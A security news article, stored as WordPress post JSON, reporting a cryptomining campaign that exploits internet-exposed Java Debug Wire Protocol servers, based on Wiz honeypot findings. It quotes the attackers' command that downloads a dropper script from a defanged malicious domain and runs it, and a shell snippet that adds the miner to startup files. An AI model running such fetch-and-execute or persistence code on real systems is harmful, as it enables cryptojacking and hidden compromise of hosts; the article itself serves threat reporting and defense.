{"id":5133,"date":"2025-07-05T10:04:07","date_gmt":"2025-07-05T10:04:07","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/07\/05\/hackers-exploiting-java-debug-wire-protocol-servers-in-wild-to-deploy-cryptomining-payload\/"},"modified":"2025-07-05T10:04:07","modified_gmt":"2025-07-05T10:04:07","slug":"hackers-exploiting-java-debug-wire-protocol-servers-in-wild-to-deploy-cryptomining-payload","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/07\/05\/hackers-exploiting-java-debug-wire-protocol-servers-in-wild-to-deploy-cryptomining-payload\/","title":{"rendered":"Hackers Exploiting Java Debug Wire Protocol Servers in Wild to Deploy Cryptomining Payload"},"content":{"rendered":"<p>    Hackers Exploiting Java Debug Wire Protocol Servers in Wild to Deploy Cryptomining Payload<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>A new wave of cyberattacks is targeting organizations that inadvertently expose Java Debug Wire Protocol (JDWP) servers to the internet, with attackers leveraging this overlooked entry point to deploy sophisticated cryptomining malware.<\/p>\n<p>JDWP, a standard feature in the Java platform, is designed to facilitate remote debugging by allowing developers to inspect live applications.<\/p>\n<p>However, when JDWP is left accessible on production systems\u2014often due to misconfiguration or the use of development flags in live environments\u2014it becomes a potent vector for remote code execution.<\/p>\n<p>The emergence of this threat has been marked by rapid exploitation cycles. In several observed incidents, attackers were able to compromise vulnerable machines within hours of exposure.<\/p>\n<p>The attack flow typically begins with mass internet scans for open JDWP ports, most commonly port 5005. Once a target is identified, the attacker initiates a JDWP handshake to confirm the service is active and then establishes a session, gaining interactive access to the Java Virtual Machine (JVM).<\/p>\n<p>This access allows the adversary to enumerate loaded classes and invoke methods, ultimately enabling <a href=\"https:\/\/cybersecuritynews.com\/cisco-ise-vulnerabilities-arbitrary-command\/\" target=\"_blank\" rel=\"noreferrer noopener\">arbitrary command<\/a> execution on the host.<\/p>\n<p>Wiz analysts <a href=\"https:\/\/www.wiz.io\/blog\/exposed-jdwp-exploited-in-the-wild\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> this campaign after observing exploitation attempts against their honeypot servers running TeamCity, a popular CI\/CD tool.<\/p>\n<p>The attackers demonstrated a high degree of automation and customization, deploying a modified XMRig cryptominer with a hardcoded configuration to evade detection.<\/p>\n<h2 class=\"wp-block-heading\"><strong>Attack Flow<\/strong><\/h2>\n<p>Notably, the malware used mining pool proxies to obscure the destination wallet address, complicating efforts to trace or disrupt the illicit mining operation.<\/p>\n<p>The impact of these attacks is significant. By abusing JDWP, threat actors can not only deploy cryptominers but also establish deep persistence, manipulate system processes, and potentially pivot to other assets within the compromised environment.<\/p>\n<p>The stealthy nature of the payload, combined with its ability to blend in with legitimate system utilities, increases the risk of prolonged undetected activity and resource drain.<\/p>\n<p>Focusing on the infection mechanism, the attackers exploit JDWP\u2019s lack of authentication to inject and execute shell commands directly through the protocol.<\/p>\n<p>After establishing a session, they typically download a dropper script\u2014such as logservice.sh\u2014using commands like:-<\/p>\n<pre class=\"wp-block-code\"><code>curl -o \/tmp\/logservice.sh -s https:\/\/canonicalconnect[.]com\/logservice.sh\nbash \/tmp\/logservice.sh<\/code><\/pre>\n<p>This script is engineered to kill competing miners, download the malicious XMRig binary disguised as logrotate, and install it in the user\u2019s configuration directory.<\/p>\n<p>The script then sets up multiple <a href=\"https:\/\/cybersecuritynews.com\/abusing-dmsa-active-directory\/\" target=\"_blank\" rel=\"noreferrer noopener\">persistence<\/a> mechanisms, including modifying shell startup files, creating cron jobs, and installing a fake system service.<\/p>\n<p>The following excerpt illustrates how the script ensures persistence via shell configuration:-<\/p>\n<pre class=\"wp-block-code\"><code>add_to_startup() {\n  if [ -r \"$1\" ]; then\n    if ! grep -Fxq \"$EXEC &gt;\/dev\/null 2&gt;&amp;1\" \"$1\"; then\n      echo \"$EXEC &gt;\/dev\/null 2&gt;&amp;1\" &gt;&gt; \"$1\"\n    fi\n  fi\n}<\/code><\/pre>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgT14bKVkx4CSZmULi919t0jIDSuEhNw-c1AN0BoMk-kECqqEK_UaXse_m3xCX3cguO6cSixUlkAoCv2y1WnjI5JwY4DEyW8rv7n_RZhBXWeDFsDi8IMicfYMhwmooxenVsPtC47VSM39HjrcxII5SvztN3iY0Y-z0i3MQXSk92AZqfxT3M_kw7_jtML7s\/s16000\/Infection%2520chain%2520%28Source%2520-%2520Wiz%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Infection chain (Source \u2013 Wiz)<\/figcaption><\/figure>\n<\/div>\n<p>The infection chain is both efficient and resilient, allowing the <a href=\"https:\/\/cybersecuritynews.com\/new-techniques-for-defenders-to-shutdown-cryptominer-attacks\/\" target=\"_blank\" rel=\"noreferrer noopener\">cryptominer<\/a> to survive reboots and user logins.<\/p>\n<p>The attackers\u2019 use of legitimate-sounding process names and system locations further complicates detection and remediation efforts, underscoring the need for vigilant configuration management and robust monitoring of exposed services.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\">Investigate live malware behavior, trace every step of an attack, and make faster, smarter security decisions -&gt;\u00a0<a href=\"https:\/\/any.run\/demo?utm_source=csn&amp;utm_medium=article&amp;utm_campaign=braodo_stealer&amp;utm_content=demo_1&amp;utm_term=250625\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><strong>Try ANY.RUN now<\/strong><\/a><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/hackers-exploiting-java-debug-wire-protocol-servers-in-wild\/\">Hackers Exploiting Java Debug Wire Protocol Servers in Wild to Deploy Cryptomining Payload<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/hackers-exploiting-java-debug-wire-protocol-servers-in-wild\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hackers Exploiting Java Debug Wire Protocol Servers in Wild to Deploy Cryptomining Payload A new wave of cyberattacks is targeting organizations that inadvertently expose Java Debug Wire Protocol (JDWP) servers to the internet, with attackers leveraging this overlooked entry point to deploy sophisticated cryptomining malware. JDWP, a standard feature in the Java platform, is designed [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-5133","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5133"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=5133"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5133\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=5133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=5133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=5133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}